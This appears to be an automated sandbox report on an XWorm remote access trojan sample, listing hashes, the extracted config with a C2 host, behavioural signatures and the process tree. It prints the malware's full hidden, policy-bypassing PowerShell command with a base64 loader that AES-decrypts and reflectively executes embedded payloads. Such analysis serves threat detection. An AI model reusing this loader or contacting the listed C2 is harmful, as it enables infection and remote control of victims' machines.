xworm | 02a9d861a3ca7c4b9096e16d74fad94c6b577b954e800f4b23625d133add5c6f

General

Target

02a9d861a3ca7c4b9096e16d74fad94c6b577b954e800f4b23625d133add5c6f.bat
Size

66KB
MD5

884179d856f1870b50ee3b0ca606ca8a
SHA1

12f60d3393ac5e5c93637c168cc678b05aec183a
SHA256

02a9d861a3ca7c4b9096e16d74fad94c6b577b954e800f4b23625d133add5c6f
SHA512

ccac70be4a34a296010541496ada60763fcc460140956fb44d4051c84b2225109bb8fa68ee3d0ea4755d33ad39cba179883560bb7eae95b351dbc5204f39c50f
SSDEEP

1536:IjfS0G9/uMZf+dCwNsHbsFfKi2lkH0ZkbmEKUgXEXzICKUnFhGg:f9/uzdCwNs7wZ2GHZHfTGg

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

remnew25.duckdns.org:3984

Mutex

XqNiNJ9BHQEGZDPh

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3384-21-0x000001779D550000-0x000001779D560000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	3384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3384	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_7ae64116.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_7ae64116.cmd	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3384	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3384	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3384	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2548 wrote to memory of 2360	2548	cmd.exe	90
PID 2548 wrote to memory of 2360	2548	cmd.exe	90
PID 2360 wrote to memory of 3384	2360	cmd.exe	92
PID 2360 wrote to memory of 3384	2360	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\02a9d861a3ca7c4b9096e16d74fad94c6b577b954e800f4b23625d133add5c6f.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\02a9d861a3ca7c4b9096e16d74fad94c6b577b954e800f4b23625d133add5c6f.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZWNyZ3YgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGVjcmd2KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRlY3JndiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRlY3JndiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZWNyZ3YiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gZHB3cWwoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2ZQOWQvNmdTTXVzdU1RdXg2U2l0bXFhZ0w1TXNkWFhsbGdHL1NxTEhRaTg9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0tTUUN4cnhWN2E3QStBNGVueWR4YlE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gZnJpaWMoJHBhcmFtX3Zhcil7CSR4YXBvaD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkcWdraGI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkka2JqZmM9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeGFwb2gsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGtiamZjLkNvcHlUbygkcWdraGIpOwkka2JqZmMuRGlzcG9zZSgpOwkkeGFwb2guRGlzcG9zZSgpOwkkcWdraGIuRGlzcG9zZSgpOwkkcWdraGIuVG9BcnJheSgpO31mdW5jdGlvbiBlYXdnaigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJG9zZ2pnPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGJoa2hlPSRvc2dqZy5FbnRyeVBvaW50OwkkYmhraGUuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGVjcmd2OyRlbmRtaD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGVjcmd2KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkdmlsIGluICRlbmRtaCkgewlpZiAoJHZpbC5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGhpZmltPSR2aWwuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHd3d2J6PVtzdHJpbmdbXV0kaGlmaW0uU3BsaXQoJ1wnKTskdXRieGQ9ZnJpaWMgKGRwd3FsIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHd3d2J6WzBdKSkpOyRkdXVveT1mcmlpYyAoZHB3cWwgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkd3d3YnpbMV0pKSk7ZWF3Z2ogJHV0YnhkICRudWxsO2Vhd2dqICRkdXVveSAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yscvdtu2.umo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
66KB

MD5
884179d856f1870b50ee3b0ca606ca8a

SHA1
12f60d3393ac5e5c93637c168cc678b05aec183a

SHA256
02a9d861a3ca7c4b9096e16d74fad94c6b577b954e800f4b23625d133add5c6f

SHA512
ccac70be4a34a296010541496ada60763fcc460140956fb44d4051c84b2225109bb8fa68ee3d0ea4755d33ad39cba179883560bb7eae95b351dbc5204f39c50f

Download Submit
memory/3384-16-0x00007FFCAC580000-0x00007FFCAD041000-memory.dmp

Filesize
10.8MB

Download
memory/3384-13-0x00007FFCAC580000-0x00007FFCAD041000-memory.dmp

Filesize
10.8MB

Download
memory/3384-14-0x00007FFCAC580000-0x00007FFCAD041000-memory.dmp

Filesize
10.8MB

Download
memory/3384-12-0x000001779D110000-0x000001779D132000-memory.dmp

Filesize
136KB

Download
memory/3384-2-0x00007FFCAC583000-0x00007FFCAC585000-memory.dmp

Filesize
8KB

Download
memory/3384-17-0x00007FFCAC580000-0x00007FFCAD041000-memory.dmp

Filesize
10.8MB

Download
memory/3384-18-0x000001779D510000-0x000001779D518000-memory.dmp

Filesize
32KB

Download
memory/3384-19-0x000001779D520000-0x000001779D52E000-memory.dmp

Filesize
56KB

Download
memory/3384-21-0x000001779D550000-0x000001779D560000-memory.dmp

Filesize
64KB

Download
memory/3384-22-0x00007FFCAC583000-0x00007FFCAC585000-memory.dmp

Filesize
8KB

Download
memory/3384-23-0x00007FFCAC580000-0x00007FFCAD041000-memory.dmp

Filesize
10.8MB

Download
memory/3384-24-0x00007FFCAC580000-0x00007FFCAD041000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing